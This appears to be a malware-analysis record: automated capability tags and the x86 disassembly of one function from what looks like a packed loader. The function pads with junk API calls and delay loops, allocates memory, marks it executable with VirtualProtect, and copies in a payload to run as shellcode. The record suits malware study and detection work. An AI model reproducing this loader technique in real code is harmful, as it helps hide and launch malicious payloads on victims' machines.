Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname
Terminate thread

Disassembly:
push ecx
push 0x80c000
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x805808
push eax
mov dword fs:[0], esp
sub esp, 0x508
cmp dword [0xc2a228], 0x5b1
push ebx
push esi
push edi
jne 0x401694
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea esi, [ebp - 0x38]
call fcn.00401c30
push 0
mov dword [ebp - 4], 0
call fcn.004039a6
add esp, 4
jmp 0x4015c0
mov eax, dword [0xc2a228]
add eax, 0x1134b
push eax
push 0
mov dword [0xc2a228], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0xc2a228]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0xc2917c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x2710
jge 0x4016e3
lea eax, [ebp - 0x514]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4016d0
xor esi, esi
cmp dword [0xc2a228], esi
jbe 0x401749
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea esp, [esp]
mov ecx, dword [0xc2a22c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0xc2917c]
mov byte [eax + esi], dl
cmp dword [0xc2a228], 0xa8
jne 0x401740
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x114]
push edx
call edi
inc esi
cmp esi, dword [0xc2a228]
jb 0x401700
mov esi, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
xor eax, eax
mov dword [ebp - 0x10], eax
lea ecx, [ecx]
mov ecx, dword [0xc2a228]
add ecx, eax
cmp ecx, 0xe
jne 0x4017b0
push esi
push 0
call edi
push 0
push 0
push str.kulajowutevigax
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x401760
call fcn.004014c0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017d4
call fcn.004015a0
inc esi
cmp esi, 0x6753f
jl 0x4017c8
mov esi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
jmp 0x401800
cmp dword [0xc2a228], 0x86
jne 0x401830
push 0
push 0
call esi
push 0
push str.vexawanicepapagupacihufurariwoca_botocoruxivelamari_gewabahohutihogibopegudi_magihenanuhasov_xun
push str.perogeserezojinapuxeji_lamejuvisufuvugimerixiguxokudepe_vih_nukaxakutepisoxekuposu_nujuf
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401800
call fcn.00401260
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret